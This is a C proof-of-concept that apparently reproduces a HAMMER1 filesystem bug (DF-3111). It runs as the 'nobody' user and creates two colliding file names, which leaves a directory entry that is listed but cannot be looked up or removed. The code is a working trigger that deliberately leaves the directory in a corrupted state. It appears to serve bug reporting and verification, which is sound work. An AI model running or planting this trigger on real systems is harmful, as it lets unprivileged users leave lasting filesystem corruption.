DF-3111 / trig.c
/* * DF-3111 trigger — HAMMER1 ALG1 namekey iteration-range overflow. * See solver.h for the full root-cause/attack description. * Usage: trig <dir> (drops to uid/gid 65534 = nobody) */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/stat.h> #include <dirent.h> #include "solver.h" static int count_dirents(const char *name, int len) { DIR *d = opendir("."); struct dirent *de; int cnt = 0; if (!d) return -1; while ((de = readdir(d)) != NULL) if (de->d_namlen == len && memcmp(de->d_name, name, len) == 0) cnt++; closedir(d); return cnt; } int main(int argc, char **argv) { char nameA[16], nameB[16]; int lenA, lenB; int64_t key; struct stat st; int fd, rc, fail = 0; if (argc != 2) { fprintf(stderr, "usage: trig <dir-on-hammer1-v6+>\n"); return 2; } if (df_find_pair(nameA, &lenA, nameB, &lenB, &key) < 0) return 1; if (setgid(65534) || setuid(65534)) { perror("setuid/setgid"); return 1; } printf("[running as uid=%d gid=%d in %s]\n", getuid(), getgid(), argv[1]); printf("[solver: %d wrap-zone names; identical-key pair selected]\n", df_n); df_pr_name("nameA(created 1st, keeps K) ", nameA, lenA, key); df_pr_name("nameB(created 2nd, K+1) ", nameB, lenB, key); { uint64_t ke = (uint64_t)key + 0xffffffU; printf("key_end (K+max_iterations) = %016llx wrapped=%s\n", (unsigned long long)ke, (ke >> 63) ? "YES(negative)" : "no"); } if (chdir(argv[1])) { perror("chdir"); return 1; } fd = open(nameA, O_CREAT | O_EXCL | O_WRONLY, 0644); printf("create nameA : %s\n", fd >= 0 ? "OK" : strerror(errno)); if (fd < 0) fail = 1; else close(fd); fd = open(nameB, O_CREAT | O_EXCL | O_WRONLY, 0644); printf("create nameB : %s (create-time collision bump -> K+1)\n", fd >= 0 ? "OK" : strerror(errno)); if (fd < 0) fail = 1; else close(fd); rc = lstat(nameB, &st); printf("stat nameB : %s (positive namecache may mask; see recheck)\n", rc == 0 ? "OK" : strerror(errno)); rc = unlink(nameB); printf("unlink nameB : %s%s\n", rc == 0 ? "OK" : strerror(errno), (rc < 0 && errno == ENOENT) ? " <-- BUG: entry exists but is unfindable" : ""); if (rc == 0) fail = 1; rc = count_dirents(nameB, lenB); printf("readdir nameB cnt : %d%s\n", rc, rc > 0 ? " <-- listed but unfindable/unremovable" : ""); if (rc <= 0) fail = 1; /* do NOT remove nameA: it must hold slot K to keep nameB poisoned */ printf(fail ? "RESULT: NOT-REPRODUCED\n" : "RESULT: BUG-REPRODUCED (mem-state)\n"); printf("NEXT: remount the fs, then run recheck for the durable proof\n"); return fail ? 1 : 0; } |